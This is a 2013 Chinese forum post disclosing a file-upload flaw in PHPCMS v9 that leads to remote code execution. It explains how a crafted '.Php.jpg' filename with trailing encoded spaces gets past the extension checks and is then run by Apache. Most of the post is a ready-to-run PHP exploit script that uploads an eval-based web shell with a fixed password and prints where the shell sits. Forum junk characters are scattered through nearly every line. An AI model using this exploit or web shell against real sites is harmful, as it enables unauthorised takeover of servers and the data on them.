找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2208|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行- {% P5 x  y* h7 ~. H& c; D" X; h* _
( {* l5 }  d4 H( G
简要描述:
' a! l2 f5 p  w1 @$ u. f4 E0 B' c8 R% X! N' L
phpcms v9 getshell (apache)/ i( j# ~$ Q2 j" \5 ^1 T4 J
详细说明:
/ Z: p! C9 f1 I# S. l! I& d, l: ^  G5 h  t5 K' l! m
漏洞文件:phpcms\modules\attachment\attachments.php
7 u  J" o6 n$ z8 l8 G
/ D' T6 O" u  ?! _* M' x' u+ dpublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } ! k( d5 r, Q4 c5 m1 N4 k( C- ]" ^
后缀检测:phpcms\modules\attachment\functions\global.func.php( k( k# Y+ m: Q3 {

* R8 r% P9 v/ i9 w- K( P/ M
4 l3 x! ^1 `  P  V8 r5 C" I% w( u* y7 T* X0 m/ J
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  ! t7 \/ \$ x8 }6 {2 i( }
4 n" ^, H# G' V8 }: [" h# C
关键函数:
4 X& \, O7 t0 c% _6 B6 M- P! S- Z9 M
) G3 ?+ h7 m( ~* L! T+ F9 p8 ?
, _" R/ u( ^! O4 l- S
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
7 Q* W6 C( r, U( G; ], I2 d! @+ e$ c
9 c, [9 q1 p8 Y) e6 `' E5 A. e" Q  Fileext函数是对文件后缀名的提取。
7 {" t* J& l6 J根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
3 C) r% E: J- h1 z" z3 F& q, a经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
* d$ `; |+ C! }, B% U" ~我们回到public function crop_upload() 函数中2 ]% G& Q, X5 t7 `
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();& _$ ?# |) F! Y- V" Z
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
; a! D/ r% c' F: |+ m这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。* m7 @; L8 t( [  R8 L1 Q# a& ~0 m- S
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。7 P1 x) ~; {* T9 Y
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。% Z  H+ W; C; n
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
2 I6 C2 K" \" D' U漏洞证明:
" i9 D1 q" G+ v( W' H  S4 X  k- H$ l2 T: {6 D
exp:" O1 g% S* w0 p# c6 H9 t- o

% P: r' W5 j% d8 g, q9 h8 a% `<?php8 d  c" U. O, F' l
error_reporting(E_ERROR);
" ?) L3 a; u# Eset_time_limit(0);5 I; g3 d. z% |. w4 s% C
$pass="ln";
  v8 h3 W& z# u# W  jprint_r('4 Q2 }$ Y3 @7 c6 J; q
+---------------------------------------------------------------------------+3 ?, t5 U9 Z& ~$ f# J
PHPCms V9 GETSHELL 0DAY " t7 }2 v% i" e7 L+ B- }% v
code by L.N.
% o' k% v: ^$ M. m2 c1 H7 |4 b. x9 q/ i
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net; Q. D: S7 N2 R6 S" a
+---------------------------------------------------------------------------+
6 C" F: s6 y0 y3 _5 \: A');
/ g0 _5 _& |) T, H/ L) aif ($argc < 2) {) h6 K, s+ F) |! A4 v$ F- J
print_r('& t- v7 N" _. F4 A) e0 P6 x" w: M
+---------------------------------------------------------------------------+- D6 ?( c" z, J0 m2 y" z& M
Usage: php '.$argv[0].' url path9 }0 N0 l# o& |( R) z- b) ^

- u: a. p- S: [# S3 s4 Z; SExample:
& m- ]/ o% }5 Z+ q0 S1.php '.$argv[0].' lanu.sinaapp.com3 M& Q0 {$ X. Y) f2 O
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
7 O: J* v3 d' D( w0 I8 v  D+---------------------------------------------------------------------------+0 p1 e0 v/ M/ N' V7 ~0 W
');( z: M! H* J% v5 X+ `
exit;
" Z; L2 v& v4 g8 G6 m}( C1 u; n) M( _2 L& |, p
% m$ a$ z; @3 a* B: _2 Z  K: s
$url = $argv[1];2 U3 w3 @. e- {( w
$path = $argv[2];
$ K2 T/ P2 O9 |4 m* {& i$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
5 B: b+ @" A8 r3 Q% x$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';+ o, O& H# [) x) N# B
if($ret=Create_dir($url,$path))7 x& ]$ Q0 x8 N- U4 W# z+ g
{
/ C! T( Y2 Y6 F. f7 v& Q1 I2 Q//echo $ret;# i# x- E0 d- p5 S* k. p
$pattern = "|Server:[^,]+?|U";
, A  |- y0 V; O  i. a3 @$ opreg_match_all($pattern, $ret, $matches);5 `1 Z9 n( x1 `2 G' N5 r1 {$ b
if($matches[0][0])3 h8 T/ w% X3 s4 L8 i# j3 {4 G
{
  ?6 ~3 D9 |- f$ h9 m1 p) U0 N. j+ dif(strpos($matches[0][0],'Apache') == false)
; `5 r+ R0 Y( t5 i  ?! G5 T{
% ]5 \! |, r( C+ S& d/ Qecho "\n亲!此网站不是apache的网站。\n";exit;" B0 m; y. N2 j+ d: F  a$ e8 H
}
$ x  ~% }* e8 \( E: K7 I  W}
% W$ t$ t9 w* r$ t2 a" F+ S$ l8 m$ret = GetShell($url,$phpshell,$path,$file);) v2 K6 F1 W$ M$ U6 f  p
$pattern = "|http:\/\/[^,]+?\.,?|U";
# P2 r9 K7 m3 z, l* E# }* T* \preg_match_all($pattern, $ret, $matches);
& B8 ~6 O: c8 R5 J1 u9 ]  b* sif($matches[0][0])9 D% Z. ^: f8 H6 N$ T
{
3 P& h8 a* K  cecho "\n".'密码为: '.$pass."\n";- e; y- n) ~: o# \1 G# g9 k
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
% Q7 H: s9 m' M& g2 F}3 ?* E+ w; }" u
else& p, L' z  _  z4 Y
{8 @% U! l& d* _) v* B, b
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
# |7 ^9 ]( q- l; \preg_match_all($pattern, $ret, $matches);
/ t6 A! U+ A6 ?, d7 dif($matches[0][0])
/ L, R6 e# ]: t{) ], M* k. }, u* T, ]- y+ \: b
echo "\n".'密码为: '.$pass."\n";
( Z( [& V5 R- lecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
1 C! ~+ g2 q' Z}0 G# Q  W+ S/ ]# \0 s5 o
else
6 O6 {- o* }: B{
5 y9 h2 ~! W2 E7 Z/ x$ d# o% yecho "\r\n没得到!\n";exit;
1 N8 c2 G% ]$ P  J7 G# X" v" R' i}; ?9 m: @6 W5 P
}
! S& u" ]: i# G5 h3 c}/ H0 h' L! S4 {+ P8 i

: U7 r3 J; E6 ?  K) [0 v- Lfunction GetShell($url,$shell,$path,$js)
- `6 F7 x9 i5 y; F: y' }3 s{# n: Z% F: T/ _9 f. x
$content =$shell;; t7 `! f; H- g
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
6 @- u$ }' e( f6 T& r: Q8 W- ]$data .= "Host: ".$url."\r\n";
9 K; a# @# H+ M* n$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";% D- q( K% i2 E5 ]3 l, ~
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
6 u0 h/ f! f2 _6 P/ n$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
; \$ z, x" U: z! f  G$data .= "Connection: close\r\n";0 X1 H1 W/ t2 z8 P
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";! g: q, |6 f# Y$ H9 S; [) m+ L; c: |
$data .= $content."\r\n";: {+ ]; ?0 M8 K1 X# s2 C
$ock=fsockopen($url,80);0 m2 F, [+ b3 f) h) p; s) S/ y
if (!$ock)
; T5 |. u1 H2 J{$ M7 N3 u% P. V/ j! t) ]
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
3 f/ D# `. o/ a}
: |" M" L& y2 Lelse' U( I2 W  C9 `1 n
{
1 b& f, B$ ]5 r2 @3 {fwrite($ock,$data);
1 l. v! ~3 N! P6 f: @8 T$resp = '';
0 U1 k1 x; E/ Q4 Z8 U9 H/ Fwhile (!feof($ock))
) ^2 C+ i1 J, o0 v5 ]2 e& c  @{
, _& ^+ n# {. [. n; I+ i3 b$resp.=fread($ock, 1024);. u, u  Z0 M# `& J2 t
}7 S+ R# X, u- A3 z' e* ^
return $resp;
5 ~0 k: W% v+ ~5 Z" [5 M, D0 \}2 o# C/ V3 b2 k, g1 b+ s
}
: a4 |6 ^7 T6 A+ [4 [. w3 L" d9 {6 N3 o1 {9 s8 A
function Create_dir($url,$path='')) n0 _3 s$ f. X  p, \' V) A
{
! a7 W+ {* u" Z9 j$content ='I love you';1 T6 B  r' @9 \! ]- |8 {
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
, x0 d; l+ \1 o% b, N$data .= "Host: ".$url."\r\n";, @' P: ?/ l2 ^1 ]) f( h
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$ D" [) F# u2 w% O: y3 c$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";" L% ~" I8 e2 d4 L0 b# q
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";/ w6 v( J" c+ P% p
$data .= "Connection: close\r\n";
# p+ u+ j$ `+ B0 n# F2 [5 V  X$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
) v: ~+ a  g  W0 c9 @  d2 L3 |$data .= $content."\r\n";; p7 F+ }& B3 z# w. l4 b
$ock=fsockopen($url,80);
& w1 D" k% Z! ?5 U  ~5 Zif (!$ock)
& C" J5 V! T2 d: C{
7 V& H) ~# w4 r8 o0 uecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;( l& n2 Y1 e9 J% x
}2 C$ r8 T; c: b, J" _& _8 a' e
fwrite($ock,$data);
; r0 {  ^  X+ _1 P$resp = '';
, H  I7 n) }* v2 C0 H' Bwhile (!feof($ock))9 U  x$ ]$ d( m3 F1 y0 S+ Y
{4 v/ ]4 E' T8 z9 D0 ], T) m
$resp.=fread($ock, 1024);0 m$ \" t# Z. Z1 j' X. w
}
. M% ]3 p+ x8 y$ g6 ?/ v  M8 n  ^( Lreturn $resp;& `; Y$ b# m5 Y) K! M- ^6 z
}. R8 }/ r' e  J! N) j
?> . i7 x# z( b% G# Y" P' i! l
% c1 H3 z) O8 n/ S" m
修复方案:, n' Z4 c+ e4 \" N$ P

7 f* p4 r# [) S过滤过滤再过滤; g' n: N! a. p3 j  c
! x, @" g- ^" H0 l" L+ M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表